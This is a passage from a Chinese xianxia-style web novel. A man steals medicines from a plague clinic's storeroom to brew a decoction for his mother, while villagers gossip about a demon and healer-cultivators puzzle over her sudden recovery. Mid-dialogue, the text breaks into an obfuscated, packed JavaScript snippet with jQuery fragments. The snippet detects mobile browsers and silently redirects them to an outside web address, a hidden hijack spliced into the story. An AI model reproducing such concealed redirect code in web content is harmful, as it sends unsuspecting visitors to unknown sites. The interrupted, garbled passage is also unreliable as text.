夜深人静,库房四周黑灯瞎火,一个人都没有。
男人寻思半天,拿定了主意,谁也没跟谁说,在库房四周转了半晌,见始终没人过来,便蹑手蹑脚地靠近。
靠近一看,才发现库房门上了道锁,男人心中大骂,不死心地拽了拽,谁知竟一下将锁拽开了。原来锁只是虚挂着,男人大喜,解开锁链,悄无声息地推门进去。
库房中摆满了药柜药架,男人借着月光,四处寻找方子上的药材。他怕拿太多被人发现,也没管药方上的分量,看抽屉里剩的多的就多拿点、少的就少拿点,分开包进纸包。
他本只寻找药方上的药材,斜眼见到一旁抽屉上写着“人参”,贪念顿起,一不做二不休,又将药柜里值钱的药材都搜罗了一遍。
眼看着包袱皮包不下,他又往怀里揣了两把灵芝,这才重新关好门,背着包袱扬长而去。
一出永安堂,男人立刻直奔家中。
到家后,他像宝贝一样解开包袱,将偷来的药材挨包把玩一遍。要喊妻子找秤来称药,又想到妻子正在永安堂,只能自己动手,在家中翻箱倒柜找了半天,弄得屋子里乱七八糟的,才好不容易找到了盘秤。
方子上的药量都比较克制,他担心没效果,索性都多抓了一点,想让老太太的病快快好转才好。
方子上没写煎药的方法,他自己琢磨着得多煮一会儿,好把药力都煮进药汤里,于是熬了近一个时辰,中间补添了好几次水,这才成了一碗。
此时已是子时,男人困极,耐心告罄,觉得熬得差不多了,便将药盛好,捂在怀里送去永安堂。
他回去时,庭院中还有几个实在难以入眠的妇人正分坐在合欢树下。
为方便行走,院子里常亮着灯。有人麻木地坐着,也有人借着灯光,捧着给经书念念有词。
“他那么好的一个人,这病怎么就落到了我们头上。”一个上了些年纪的妇人捏着帕子哽咽。
“咱家是不是招着什么了。”一人小声道,“我听我家娃儿说,他们几个小的在永安堂里见着妖怪了,血葫芦似的,还从人身上吸着血呢。”
“什么?”妇人闻言大惊,连帕子都放下了,“都说小孩儿眼睛干净,能见到大人见不到的东西。他真的见着了?”
“说得真真儿的。”那人言之凿凿。
“你们家孩子也见到了?”旁边另一个人听到了他们小声的谈话,也插了进来,“我家孩子也跟我说来着,我还没当回事。”
“你家孩子也跟你说了?”之前说的那人连忙将她拉过来,“说的是什么?”
“跟你家说的一样,一个红色的大妖怪,把根扎到人身上呢。”后边加入进来的大姐面露惧色。
三人都起了一身鸡皮疙瘩,连连念着佛。
“这可如何是好。”妇人捏着帕子,“孩子们都看见了,难不成确有其事?要不要找谁来看一看?”
“现在这个情况,哪儿还有先生能来看这个。”大姐唉声叹气。
“不是说这些大夫就是修士?”妇人忙道,“要不跟他们说一说呢?”
后面加入进来的大姐一拍她的腿:“那妖怪就在后院,我们家孩子亲眼所见,那群修士还围着它搞不知道什么。”
“你这么一说,我忽然有了些印象。”中间的那人道,“你们还记不记得,这瘟疫刚开始的时候,永安堂这里就有一个裹着麻布的人,奇奇怪怪的。”
“我想起来了。”妇人害怕地说,“哪有正常人披麻戴孝的,绝对是招着什么不干净的东西了,可怜我们还被她蒙蔽,没觉得有什么不对。”
说罢,妇人又哭道:“这可如何是好,我们都叫这不干净的东西圈在这里,只有一群不顶用的不知道哪儿来的修士。”
后面加入的大姐灵机一动:“我想起来了。你们知道北关老梁家的梁二拐子吗?不知道他还在不在,之前我姨娘姐妹家里孩子丢魂儿就是他给看的,一看就好了。”
“我第一次听,你可还能联系得上他吗?”妇人紧紧抓住她的手。
“我也是听我姨娘姐妹说的,大概知道个地方,还得上门看看去。”后加入进来的大姐道。
“可得快快请先生来才好!”妇人感激涕零,“我们可都全靠你了呀。”
见她们如此深信不疑,后加入的大姐身上油然而生一股担当来,当即便说:“你放心,我天亮就找梁二拐子去。若他还在,定能帮我们收了妖怪。”
南房,男人将药往老太太床头一搁,团了团衣服,大爷似的坐下。
“这是什么玩意儿?”妻子被他吵醒了,颇不耐地问。
男人对妻子的不耐不以为意:“你瞅瞅,我给咱妈搞来的。这可是好药,你赶紧给咱妈喝,肯定一喝就好。”
“这大半夜的把人搅和起来喂什么药,你可真行。”妻子不乐意地摔打着,“这哪儿来的,别给老太太瞎吃啊。”
“让你喂你就喂。”男人瞪起眼睛,“别跟我在这儿磨磨唧唧的。药都给你搞来了,就让你喂个药能杀了你啊?”
妻子懒得跟他争辩,反正是他自己的妈,索性遂他的愿。于是从布包里拿出勺子,拆开药罐的包袱,将床上的老人扶起来,柔声轻唤道:“妈呀,妈,你睁开眼睛醒一醒,你儿子给你把药搞回来了,你起来喝两口。”
不远处川断的房间中,也有人彻夜未眠。
“他们暂时先在王员外府中安置下来了。”川连对南星说。
“印偶是法修的手段,我们医修知之甚少。”南星拿不定主意,问川连,“师叔,你可传信上江流派询问了吗?”
“我与江流派交情平平,已将此事托给门中叔伯去问了。”川连道。
“希望能尽快问到……”南星暗自思忖,“欸?我们这儿不是还有一个印偶,裹着麻袍,红色头发的那个?我们问问她是不是可行?”
“灵物都有自己的法门。川断昏睡,她神龙见首不见尾的,只有她来找我们,我们很难找到她的踪迹。”川连摇头道。
事情至此也是难办。“他们几个和那个印偶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294808|182691||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离得那么近,会不会很快被感染?”南星忍不住担心问道。
“如此我们都是各自看造化了。”川连叹道,“丹砂打算用分解病气的法子去分析那印偶身上的天谴之力与残余的灵气,想要从灵气里推断她的族属……”
他沉吟良久,南星同样沉浸在自己的思维里:“早前我们还疑惑过,为什么禁军驻守扈陵日久,竟没有一例感染的。若是天谴降于扈陵,难不成,是他们所举正应天谴,所以天谴不罚他们?”
“慎言。”川连看了南星一眼,“天网恢恢,怎会回护恶人。”
在小南国弟子眼中,这一夜风平浪静。
“甲一床那个老太太好得也太快了。”一大清早,交班回来的乌柏匪夷所思地跟水萍说,“昨天夜里还没精打采地,今天竟然已经能起来吃饭了。难不成这个老太太身上有什么特殊的地方?”
乌柏心中升起了一丝探究的兴趣,二人结伴回到后面,正赶上南星训人。
“抓药的时候都不知道手干净一点吗?”南星生气地说,“把药都弄得脏兮兮的,白芍里混着黄柏,公英上撒着菊花。你们最少也在谷中学了五六年了,连这点事情都不懂得注意吗?”
乌柏瞅瞅坐在一边的广白,广白冲他摇摇头。乌柏走过去,在广白旁边坐下,二人互相偷偷摆了个鬼脸。
“昨天晚上谁最后去抓的药啊?” 乌柏小声问。
乌柏朝不远处黑着脸的人努努嘴。
那是曲莲,比南星小不了多少,已经是很有经验的端末堂弟子了。乌柏觉得她干活儿一向很利索,不可能出这种问题,于是回头问广白:“确定是咱们的人干的吗?不是他们本地的大夫偶尔做事不讲究?”
广白道:“今早就是他们和南星一起去的药房。两伙人有说有笑地去了,结果一拉开抽屉,一片狼藉。本地的大夫嘴碎,教了南星两句抓药时不能撒得到处都是。南星用得着他们教这个?当场面子就挂不住了,又不好跟人家说什么,不然回来怎么会发这么大的火。”
乌柏只能摇头,又跟广白分享了一下南房的情况:“南房甲一床出现了一个病人,六十多岁的老太太,之前情况一直就那样,今早忽然精神了许多。我看表征和脉象,都好了不少。”
广白听了也是惊疑不定:“你给她用什么了?”
“没有特殊用药。” 乌柏凑过去小声说,“自从发现了师祖的药方连用也会药力减弱之后,我都只敢给热灸了。昨天又发现那么个事儿,谁还敢乱给药啊。”
“那这是怎么回事,怎么忽然好了这么多。” 广白皱眉,“别是回光返照吧?”
“回光返照我还看不出来?”乌柏道,“我怀疑这个老太太身上有什么特殊的地方,说不定是这个病的突破。”
“这还能有突破?” 广白不信,这可是天谴。
乌柏道:“我简单看了看,还没有发现。准备一会儿等师叔出来跟师叔说说呢。”
广白站了起来:“师叔还在写给谷里的信,你先带我去看看。”